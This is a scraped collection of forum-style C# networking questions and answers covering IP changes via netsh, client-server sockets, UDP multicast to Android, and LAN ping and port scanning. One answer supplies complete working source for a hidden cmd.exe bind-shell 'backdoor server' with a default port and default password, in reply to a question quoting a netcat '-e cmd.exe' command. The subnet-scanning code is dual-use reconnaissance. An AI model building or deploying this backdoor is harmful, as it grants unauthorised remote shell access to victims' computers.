In my client-server winform app,want to change ip address of client each time i run it.
A text box should take ip address of my client and then connect to server using local ip which is on same computer.
Client code:
public partial class Form1 : Form
{
System.Net.Sockets.TcpClient clientSocket = new System.Net.Sockets.TcpClient();
NetworkStream serverStream;
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
}
public void ConnectToServer()
{
string server_localip = GetLocalIP();
clientSocket.Connect(server_localip, 8888);
}
public void SendData(string dataTosend)
{
if (string.IsNullOrEmpty(dataTosend))
return;
NetworkStream serverStream = clientSocket.GetStream();
byte[] outStream = new byte[33];
outStream = System.Text.Encoding.ASCII.GetBytes(dataTosend);
serverStream.Write(outStream, 0, outStream.Length);
serverStream.Flush();
}
public void CloseConnection()
{
clientSocket.Close();
}
public string ReceiveData()
{
StringBuilder message = new StringBuilder();
serverStream = clientSocket.GetStream();
serverStream.ReadTimeout = 100;
//the loop should continue until no dataavailable to read and message string is filled.
//if data is not available and message is empty then the loop should continue, until
//data is available and message is filled.
while (true)
{
if (serverStream.DataAvailable)
{
int read = serverStream.ReadByte();
if (read > 0)
message.Append((char)read);
else
break;
}
else if (message.ToString().Length > 0)
break;
}
return message.ToString();
}
public string GetLocalIP()
{
IPHostEntry host;
host = Dns.GetHostEntry(Dns.GetHostName());
foreach (IPAddress ip in host.AddressList)
{
if (ip.AddressFamily == AddressFamily.InterNetwork)
{
return ip.ToString();
}
}
return "127.0.0.1";
}
private void btnConnect_Click(object sender, EventArgs e)
{
ConnectToServer();
btnConnect.Text = "Connected";
}
private void btnRegister_Click(object sender, EventArgs e)
{
//if (!Regex.IsMatch(txtPrivateId.Text, #"\w+([-+.']\w+)*#\w+([-.]\w+)*\.\w+([-.]\w+)*"))
//{
// lblError.Text ="Please type a valid IMPI.";
//}
//if (!Regex.IsMatch(txtPublicId.Text, "[^0-9]"))
//{
// lblError.Text = lblError.Text + "\nPlease type a valid IMPU.";
//}
//else
//{
lblError.Text = "";
string data = txtPrivateId.Text + ";" + txtPublicId.Text;
for (int i = 0; i < 1; i++)
{
SendData(data);
}
string rec = null;
rec = ReceiveData();
txtReceive.Text = rec;
}
}
Any guidance would be appreciated..
you can use netsh to change your ip address:
netsh interface ip set address [adapter name] static [ip address] [subnet mask] [gateway] [interface metric]
try the code below:
Process p = new Process();
ProcessStartInfo psi = new ProcessStartInfo("netsh", "interface ip set address \"Local Area Connection\" static 192.168.0.10 255.255.255.0 192.168.0.1 1");
p.StartInfo = psi;
p.Start();
and remember that your application should be running in elevated permissions.
"Local Area Connection" should match your adapter name
for more information about the netsh command line switches visit the Microsoft knowledge base article below:
http://support.microsoft.com/kb/242468
Related
I have created a program in C# which scan all PCs in LAN network, and then print out list of IP and computer name of it. This code here I covered in YouTube of someone. But when I try to scan, it always return an error:
Additional information: An exception occurred during a Ping request.
I try to turn off firewall in all PCs in LAN network, but still have this problem. I spend times to figure out, but still don't know what to do next.
Thread myThread = null;
public void scan(string subnet)
{
Ping myPing;
PingReply reply;
IPAddress addr;
IPHostEntry host;
for (int i = 1; i < 255; i++)
{
string subnetn = "." + i.ToString();
myPing = new Ping();
reply = myPing.Send(subnet + subnetn);
if (reply.Status == IPStatus.Success)
{
try
{
addr = IPAddress.Parse(subnet + subnetn);
host = Dns.GetHostEntry(addr);
txtHosts.AppendText(subnet + subnetn + host.HostName.ToString() + "Up");
}
catch
{
}
}
}
}
private void cmdScan_Click(object sender, EventArgs e)
{
myThread = new Thread(() => scan(txtIP.Text));
myThread.Start();
if (myThread.IsAlive)
{
cmdStop.Enabled = true;
cmdScan.Enabled = false;
txtIP.Enabled = false;
}
}
private void cmdStop_Click(object sender, EventArgs e)
{
myThread.Suspend();
cmdScan.Enabled = true;
cmdStop.Enabled = false;
txtIP.Enabled = true;
}
}
This question already has an answer here:
C# -- TcpListener.Start() causing SocketException with message "Only one usage of each socket address"
(1 answer)
Closed 2 years ago.
I have a simple client-server application which works like this: the server is always listening (in a separate thread) for a client connection (which sends the name of process that it wants the server to kill).
Here is the server:
private void btnStart_Click(object sender, EventArgs e)
{
_port = int.Parse(comboBoxPorts.SelectedItem.ToString());
_tcpListener = new TcpListener(_ipAddress, _port);
_keepRunning = true;
_listenerThread = new Thread(Listen);
HandleListenerThreadStartListenEvent += HandleListenerThreadStartedEventMethod;
ListenerThreadStartedEvent += HandleListenerThreadStartListenEvent;
_listenerThread.Start();
}
private void btnStop_Click(object sender, EventArgs e)
{
if (_tcpListener != null)
{
_keepRunning = false;
if (_tcpListener.Server.Connected)
{
_tcpListener.Server.Disconnect(true);
}
_tcpListener.Stop();
}
labelServerStatus.Text = "Server is stopped";
comboBoxPorts.Enabled = true;
btnStart.Enabled = true;
btnStop.Enabled = false;
}
private void Listen()
{
try
{
_tcpListener.Start();
OnListenerThreadStartListenEvent(); // just update the GUI
}
catch(Exception e)
{
MessageBox.Show("Port " + _port + " is NOT available." + Environment.NewLine +
"Please choose another one: " + e.Message);
return;
}
_keepRunning = true;
string ballonMessage = "Socket Server Running at " + _ipAddress + ", port: " + _port;
notifyIcon1.ShowBalloonTip(2000, "Simplex Listener", ballonMessage, ToolTipIcon.Info);
while (_keepRunning)
{
try
{
#region using AcceptSocket()
_clientSocket = _tcpListener.AcceptSocket();
string checkString = string.Empty;
IPAddress ipOfClient = ((IPEndPoint) _clientSocket.LocalEndPoint).Address;
notifyIcon1.ShowBalloonTip(2000, "Simplex Listener", "New client has connected from ip " + ipOfClient, ToolTipIcon.Info);
byte[] buffer = new byte[SIZE_OF_BUFFER];
int bytesReceived = _clientSocket.Receive(buffer);
// Concatenate chars as bytes to a received string.
for (int i = 0; i < bytesReceived; i++)
checkString += Convert.ToChar(buffer[i]);
//..... getting the name of process and kill it (and than open it...
RestartProcess(nameOfProcess, windowName, pathToExeFile);
// Client is waiting to know operation is complete- so send him some char...
ASCIIEncoding encoder = new ASCIIEncoding();
_clientSocket.Send(encoder.GetBytes("v"));
_clientSocket.Disconnect(true);
_clientSocket.Close();
#endregion
}
catch (Exception )
{
}
}
}
The client side:
public void RestartTheSoftwareInServerComputer(string ipOfServer, int portNumber)
{
TcpClient client = new TcpClient();
if (_serverEndPoint == null)
{
_serverEndPoint = new IPEndPoint(IPAddress.Parse(ipOfServer), portNumber);
}
client.Connect(_serverEndPoint);
// Send the command to the server:
NetworkStream clientStream = client.GetStream();
ASCIIEncoding encoder = new ASCIIEncoding();
byte[] buffer = encoder.GetBytes("....detailsOfProcess....");
clientStream.Write(buffer, 0, buffer.Length);
clientStream.Flush();
// Now, wait for the server's response [which means the process had been restart].
NetworkStream stream = client.GetStream();
byte[] bytes = new byte[5];
stream.Read(bytes, 0, 5);
string response = Encoding.UTF8.GetString(bytes, 0, 1);
if (response.Equals("x"))
{
throw new Exception("Failed to restart X software.");
}
stream.Close();
client.Close();
}
When I stop and restart the server (when no client had connected), then everything is OK.
The problem is when the server got some client connected, and is restarted, then the client has disconnected and the server needs to be restarted. When we hit the "START SERVER" again it will get the exception:
Only one usage of each socket address (protocol/network address/port)
is normally permitted.
How should I close the port?
When you exit your server, you should call _tcpListener.Stop() to close the main socket that the server is listening on.
Edit: You could also try to call _listenerThread.Join() in your stop button click, to wait for the listener thread to finish, before starting the next one.
private void btnStop_Click(object sender, EventArgs e)
{
if (_tcpListener != null)
{
_keepRunning = false;
if (_tcpListener.Server.Connected)
{
_tcpListener.Server.Disconnect(true);
_tcpListener.Stop();
if (_clientSocket != null)
{
_clientSocket.Close();
_clientSocket = null;
}
_listenerThread.Join();
}
}
labelServerStatus.Text = "Server is stopped";
comboBoxPorts.Enabled = true;
btnStart.Enabled = true;
btnStop.Enabled = false;
}
EDIT 2:
here is a windows form that does similar to your server. I didn't need a client, just use "telnet localhost 49152" from a command prompt to 'pretend' to be the client connecting.
public partial class Form1 : Form
{
private TcpListener _tcpListener;
private bool _keepRunning;
private Thread _listenerThread;
private Socket _clientSocket;
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
var address = IPAddress.Parse("127.0.0.1");
_tcpListener = new TcpListener(address, 49152);
_keepRunning = true;
_listenerThread = new Thread(Listen);
_listenerThread.Start();
button1.Enabled = false;
button2.Enabled = true;
}
private void Listen()
{
try
{
_tcpListener.Start();
}
catch (Exception e)
{
MessageBox.Show(e.Message);
return;
}
_keepRunning = true;
while (_keepRunning)
{
try
{
_clientSocket = _tcpListener.AcceptSocket();
var buffer = new byte[8192];
var bytesReceived = _clientSocket.Receive(buffer);
var checkString = String.Empty;
if (_keepRunning)
{
// bytesReceived can be 0 if the remote socket disconnected
if (bytesReceived > 0)
{
checkString = Encoding.ASCII.GetString(buffer, 0, bytesReceived);
// Client is waiting to know operation is complete- so send him some char...
var encoder = new ASCIIEncoding();
_clientSocket.Send(encoder.GetBytes("v"));
}
if (_clientSocket.Connected) _clientSocket.Disconnect(true);
}
_clientSocket.Close();
}
catch (Exception ex)
{
// really should do something with these exceptions
}
}
}
private void button2_Click(object sender, EventArgs e)
{
if (_tcpListener != null)
{
_keepRunning = false;
if (_tcpListener.Server.Connected)
{
_tcpListener.Server.Disconnect(true);
}
_tcpListener.Stop();
if (_clientSocket != null)
{
_clientSocket.Close();
_clientSocket = null;
}
_listenerThread.Join();
}
button1.Enabled = true;
button2.Enabled = false;
}
}
There are a lot of problems with this code, e.g. sharing variables across threads etc. but on my machine the Join doesn't seem to block for any length of time. The problem with _keepRunning is that on certain systems it's possible for one thread to not see the change from true to false, because it gets optimised or cached. You should really use some form of thread synchronisation, make it volatile, or wrap it in a lock etc. I'd suggest you have a read here about this. I'd also suggest you have a read up on Sockets too, or if as other commenters have mentioned, if you aren't interested in learning about all the idiosyncrasies of sockets and threading, perhaps you should look for a higher level library that hides it all?
I have developed UDP multicast server in c# and UDP multicast reciever in Android,but iam not able to recieve data from server to client(Android).Is it because of the port numbers
i have used in code ? Your help is greatly appretiated and will save me nights.
***Server code
namespace Server
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
UdpClient udpclient = new UdpClient();
IPAddress multicastaddress = IPAddress.Parse("233.45.17.10");
udpclient.JoinMulticastGroup(multicastaddress);
IPEndPoint remoteep = new IPEndPoint(multicastaddress, 10000);
Byte[] buffer = null;
for (int i=1;i<30;i++)
{
buffer = Encoding.Unicode.GetBytes(i.ToString());
int flag = udpclient.Send(buffer, buffer.Length, remoteep);
}
MessageBox.Show("Data Sent TO " + ip.Text + "On Port " + port.Text);
status.Text = "Connected";
}
private void disconnect_Click(object sender, EventArgs e)
{
this.Close();
}
}
}***
Client code(Android):
public class TestMulticast extends Activity
{
static boolean done = false;
EditText et;
TextView tv;
Button b;
MulticastSocket socket;
#Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
b=(Button)findViewById(R.id.b);
et=(EditText)findViewById(R.id.et);
tv =(TextView)findViewById(R.id.tv);
b.setOnClickListener(new Button.OnClickListener()
{
public void onClick(View v)
{
try
{
String msg = et.getText().toString();
socket.send(new DatagramPacket(msg.getBytes(), 0, msg.getBytes().length, InetAddress.getByName("192.168.1.6"), 10000));
Toast.makeText(getApplicationContext(), "sent", 100).show();
}
catch (Exception e)
{
e.printStackTrace();
Toast.makeText(getApplicationContext(), e.getMessage(), Toast.LENGTH_SHORT).show();
}
}
});
if (!done)
{
try
{
WifiManager wifiManager = (WifiManager)getSystemService(Context.WIFI_SERVICE);
WifiInfo wifiinfo = wifiManager.getConnectionInfo();
int intaddr = wifiinfo.getIpAddress();
if (intaddr == 0)
{
tv.setText("Unable to get WIFI IP address");
}
else
{
byte[] byteaddr = null;
byteaddr = new byte[] {
(byte)(intaddr & 0xff),
(byte)(intaddr >> 8 & 0xff),
(byte)(intaddr >> 16 & 0xff),
(byte)(intaddr >> 24 & 0xff)
};
String machineName = "androidtestdevice";
InetAddress addr = InetAddress.getByAddress(machineName, byteaddr);
tv.append("Using address: " + addr + "\n");
Toast.makeText(getApplicationContext(), "using address"+addr, 50).show();
// create socket
socket = new MulticastSocket(11111);
// set network interface
NetworkInterface iface = NetworkInterface.getByInetAddress(addr);
Toast.makeText(getApplicationContext(), "First address on interface is: " + getAddressFor(iface), 50).show();
tv.append("First address on interface is: " + getAddressFor(iface) + "\n");
// The following line throws an exception in Android (Address is not available)
// If it's not called, the socket can receives packets
// Equivalent code in seems to C work.
//socket.setNetworkInterface(iface);
// join group
socket.joinGroup(InetAddress.getByName("233.45.17.10"));
tv.append("It worked\n");
// start receiving
new DatagramListener(socket, tv).start();
}
}
catch (Exception e) {
tv.append(e.toString() + "\n");
e.printStackTrace();
}
}
}
class DatagramListener extends Thread {
private DatagramSocket socket;
private TextView tv;
DatagramListener(DatagramSocket s, TextView tv) {
socket = s;
this.tv = tv;
}
public void run() {
byte[] buf = new byte[1000];
try {
while (true) {
DatagramPacket recv = new DatagramPacket(buf, buf.length);
socket.receive(recv);
System.out.println("received: " + new String(recv.getData(), recv.getOffset(), recv.getLength()));
runOnUiThread(new MyRunnable(new String(recv.getData(), recv.getOffset(), recv.getLength()), tv));
Toast.makeText(getApplicationContext(), "Now showing data", Toast.LENGTH_SHORT).show();
}
}
catch (Exception e) {
e.printStackTrace();
Toast.makeText(getApplicationContext(), "received: " + e.getMessage(), Toast.LENGTH_SHORT).show();
}
}
}
static private class MyRunnable implements Runnable {
private TextView tv;
private String text;
public MyRunnable(String text, TextView tv) {
this.tv = tv;
this.text = text;
}
public void run() {
tv.append(text + "\n");
}
}
public static InetAddress getAddressFor(NetworkInterface iface) {
Enumeration<InetAddress> theAddresses = iface.getInetAddresses();
boolean found = false;
InetAddress firstAddress = null;
while ((theAddresses.hasMoreElements()) && (found != true)) {
InetAddress theAddress = theAddresses.nextElement();
if (theAddress instanceof Inet4Address) {
firstAddress = theAddress;
found = true;
}
}
return firstAddress;
}
}
Multicast packets are filtered in many android devices depending on vendor (some do others don't htc would filter it most likely), presumably to save battery. it is not blocked in android as such but the vendors.
I am interested in writing a program which can do something like netcats "nc -L -d -p -t -e cmd.exe" command. So it provides a remote shell that is. I have tried piping output and input from and to cmd.exe and sending and receiving it over a socket but it doesn't really seem to work well. Are there any other ways to do it? I am programming in C# by the way.
This is some test code I wrote to test if I could make my own "shell". The output of this is what should be sent over a socket. The program, however, halts when it becomes time to read the output. This is only remedied by using the .readline() method, but I dont know how to detect when it should not read anymore lines.
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.Start();
StreamReader sr = p.StandardOutput;
StreamWriter sw = p.StandardInput;
while (true)
{
Console.Write(">> ");
string cmd = Console.ReadLine();
sw.WriteLine(cmd);
var resp = sr.ReadLine();
Console.WriteLine(resp);
}
Thanks.
Not sure if you still care about this but this may help you:
This is a C# Remote Shell
/*****************************************************************
*
* Created By DT
*
* ***************************************************************/
using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;
namespace BackdoorServer
{
public class Backdoor
{
private TcpListener listener; //ServerSocket object for listening
private Socket mainSocket; //Socket to handle client-server communication
private int port; //Port the server listens on
private String name; //The server name
private String password; //The server password
private bool verbose = true; //Displays messages in console if True
private Process shell; //The shell process
private StreamReader fromShell;
private StreamWriter toShell;
private StreamReader inStream;
private StreamWriter outStream;
private Thread shellThread; //So we can destroy the Thread when the client disconnects
private static int DEFAULT_PORT = 1337; //Default port to listen on if one isn't declared
private static String DEFAULT_NAME = "Server"; //Default name of server if one isn't declared
private static String DEFAULT_PASS = "password"; //Default server password if one isn't declared
public Backdoor()
{ //Use default settings
port = DEFAULT_PORT;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p)
{ //Define port only
port = p;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n)
{ //Define port and server name
port = p;
name = n;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n, String pass)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
}
public Backdoor(int p, String n, String pass, bool verb)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
verbose = verb;
}
////////////////////////////////////////////////////////////////////////
//the startServer method waits for a connection, checks the password,
//and either drops the client or starts a remote shell
////////////////////////////////////////////////////////////////////////
public void startServer() {
try {
if(verbose)
Console.WriteLine("Listening on port " + port);
//Create the ServerSocket
listener = new TcpListener(port);
listener.Start(); //Stop and wait for a connection
mainSocket = listener.AcceptSocket();
if(verbose)
Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);
Stream s = new NetworkStream(mainSocket);
inStream = new StreamReader(s);
outStream = new StreamWriter(s);
outStream.AutoFlush = true;
String checkPass = inStream.ReadLine();
if(verbose)
Console.WriteLine("Client tried password " + checkPass);
if(!checkPass.Equals(password)) { //if the password is not correct
if(verbose)
Console.WriteLine("Incorrect Password");
badPass(); //Drop the client
return;
}
if(verbose)
Console.WriteLine("Password Accepted.");
shell = new Process();
ProcessStartInfo p = new ProcessStartInfo("cmd");
p.CreateNoWindow = true;
p.UseShellExecute = false;
p.RedirectStandardError = true;
p.RedirectStandardInput = true;
p.RedirectStandardOutput = true;
shell.StartInfo = p;
shell.Start();
toShell = shell.StandardInput;
fromShell = shell.StandardOutput;
toShell.AutoFlush = true;
shellThread = new Thread(new ThreadStart(getShellInput)); //Start a thread to read output from the shell
shellThread.Start();
outStream.WriteLine("Welcome to " + name + " backdoor server."); //Display a welcome message to the client
outStream.WriteLine("Starting shell...\n");
getInput(); //Prepare to monitor client input...
dropConnection(); //When getInput() is terminated the program will come back here
}
catch(Exception) { dropConnection(); }
}
//////////////////////////////////////////////////////////////////////////////////////////////
//The run method handles shell output in a seperate thread
//////////////////////////////////////////////////////////////////////////////////////////////
void getShellInput()
{
try
{
String tempBuf = "";
outStream.WriteLine("\r\n");
while ((tempBuf = fromShell.ReadLine()) != null)
{
outStream.WriteLine(tempBuf + "\r");
}
dropConnection();
}
catch (Exception) { /*dropConnection();*/ }
}
private void getInput() {
try {
String tempBuff = ""; //Prepare a string to hold client commands
while(((tempBuff = inStream.ReadLine()) != null)) { //While the buffer is not null
if(verbose)
Console.WriteLine("Received command: " + tempBuff);
handleCommand(tempBuff); //Handle the client's commands
}
}
catch(Exception) {}
}
private void handleCommand(String com) { //Here we can catch commands before they are sent
try { //to the shell, so we could write our own if we want
if(com.Equals("exit")) { //In this case I catch the 'exit' command and use it
outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
dropConnection(); //to drop the connection
}
toShell.WriteLine(com + "\r\n");
}
catch(Exception) { dropConnection(); }
}
////////////////////////////////////////////////////////////////////
//The drop connection method closes all connections and
//resets the objects to their null states to be created again
//I don't know if this is the best way to do it but it seems to
//work without issue.
////////////////////////////////////////////////////////////////////
private void badPass()
{
inStream.Dispose();
outStream.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
private void dropConnection() {
try {
if(verbose)
Console.WriteLine("Dropping Connection");
shell.Close();
shell.Dispose();
shellThread.Abort();
shellThread = null;
inStream.Dispose(); //Close everything...
outStream.Dispose();
toShell.Dispose();
fromShell.Dispose();
shell.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
catch(Exception) {}
}
static void Main(string[] args)
{
try {
Backdoor bd = new Backdoor();
if (args.Length == 1)
bd = new Backdoor(int.Parse(args[0]));
if (args.Length == 2)
bd = new Backdoor(int.Parse(args[0]), args[1]);
if (args.Length == 3)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2]);
else if (args.Length == 4)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3]));
while (true)
{
bd.startServer();
}
}
catch(Exception) {}
}
}
}
How do I get all servers IP which are listening on specific port (Ex:9090) in LAN
I have already read some basics information about multicast,anycast ,unicast and broadcast and it seems like broadcast is the one meant for my application.
I am thinking of two ideas .. Use TCP protocol to Connect to all IP Addresses (192.168.1.1-254) in parallel on port 9090 and set a little time period to the connection timeout. just to check if there's any responce. (but it doesn't seem like a good idea)Use UDP protocol and broadcast a message like "hello" and check for response then get all IP Addresses which respond.
So which idea should I pick, are there better ideas to do it?
I would also like to know if my broadcast-ed message is received to the server and how to get the IP address of it.
I've done it with TCP to search all server that is listening on a specific port.
Its not an idle solution, but it worked for me.
I've created a userControl with a public function Initialize to pass the port that i want to scan for servers.
public ServerDiscovery()
{
InitializeComponent();
// statusLabel.Image = imageState.Images[2];
timer.Elapsed += timer_tick;
}
int port = 0;
bool busy = false; // to tell that the function is busy with scanning.
public void Initialize(int port)
{
this.port = port;
}
System.Timers.Timer timer = new System.Timers.Timer(5000);
List<SocketAsyncEventArgs> list = new List<SocketAsyncEventArgs>();
// this list to hold all sockets that created to connect to IP .. to DISPOSE it later
HashSet<string> usedIP = new HashSet<string>();
//usedIP will be explained later.
public IPEndPoint getAddress()
{ //this function to get the IPEndPoint of the selected server from listview.
if (listServer.SelectedItems.Count > 0)
{
if (listServer.SelectedItems[0].ImageIndex == 0)
{
ListViewItem item = listServer.SelectedItems[0];
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(item.SubItems[1].Text), port);
return ep;
}
}
return null;
}
public void Refresh() //to scan for servers
{
if (!busy)
{
usedIP.Clear();
listServer.Items.Clear();
// statusLabel.Text = "Scanning for servers.";
// statusLabel.Image = Image.FromFile("loading.gif");
// btnRefresh.Enabled = false;
busy = true;
timer.Start();
IPAddress[] IpA = Dns.GetHostByName(Dns.GetHostName()).AddressList;
for (int j = 0; j < IpA.Length ; j++)
{
if (IpA[j].AddressFamily == AddressFamily.InterNetwork) // to make sure it's an IPV4
{
string scanIP = IpA[j].ToString().Substring(0, IpA[j].ToString().LastIndexOf(".")) + ".";
if (!usedIP.Contains(scanIP))
//usedIP is a hashset that holds the first 3 parts on an ip (ex:"192.168.1." from "192.168.1.30") i used this to avoid scanning the same ip addresses more than once .. like if i had a wireless network ip ("192.168.1.5") and an Ethernet Network ip ("192.168.1.5"). so with that hashset it will scan once.
{
usedIP.Add(scanIP);
Parallel.For(1, 255, i =>
{
Scan(scanIP + i);
});
}
}
}
}
}
private void Scan(string ipAdd)
{
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
SocketAsyncEventArgs e = new SocketAsyncEventArgs();
e.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(ipAdd), port);
e.UserToken = s;
e.Completed += new EventHandler<SocketAsyncEventArgs>(e_Completed);
list.Add(e); // add the created socket to a list to dispose when time is up.
s.ConnectAsync(e);
}
private void e_Completed(object sender, SocketAsyncEventArgs e)
{
if (e.ConnectSocket != null) //if there's a responce from the server [e.ConnectSocket] will not be equal null.
{
StreamReader sr = new StreamReader(new NetworkStream(e.ConnectSocket));
ListViewItem item = new ListViewItem();
string[] cmd = sr.ReadLine().Split('<'); in my server constructor this line will receive a string like "PC_NAME<Available" ..
item.Text = cmd[0];
item.SubItems.Add(((IPEndPoint)e.RemoteEndPoint).Address.ToString());
item.SubItems.Add(cmd[1]);
if (cmd[1] == "Busy")
item.ImageIndex = 1;
else
item.ImageIndex = 0;
AddServer(item);
list.Remove(e); //active server should be remove from the list that holds the sockets and disposed.. because there's no need to keep connection after showing that this server is active.
((Socket)e.UserToken).Dispose();
}
}
delegate void AddItem(ListViewItem item);
private void AddServer(ListViewItem item)
{
if (InvokeRequired)
{
Invoke(new AddItem(AddServer), item); //just to add an item from a background thread.
return;
}
listServer.Items.Add(item);
}
private void timer_tick(object sender, EventArgs e)
{
busy = false; //when time's up .. set busy to false so we can scan again
timer.Stop();
foreach (var s in list) //dispose all sockets that's trying to connect and waiting for a response
{
try
{
((Socket)s.UserToken).Dispose();
}
catch { }
}
//this.Invoke((MethodInvoker)delegate // for design
// {
// btnRefresh.Enabled = true;
// btnRefresh.BorderStyle = Border3DStyle.Raised;
// statusLabel.Text = "Ready.";
// statusLabel.Image = imageState.Images[2];
// });
}
private void btnRefresh_Click(object sender, EventArgs e)
{
// btnRefresh.BorderStyle = Border3DStyle.Sunken;
Refresh();
}
// private void listServer_KeyUp(object sender, KeyEventArgs e)
// {
// if (e.KeyCode == Keys.F5)
// {
// btnRefresh_Click(sender, (EventArgs)e);
// }
// }
}
Again this's not an ideal solution that works on any case but it worked fine with me.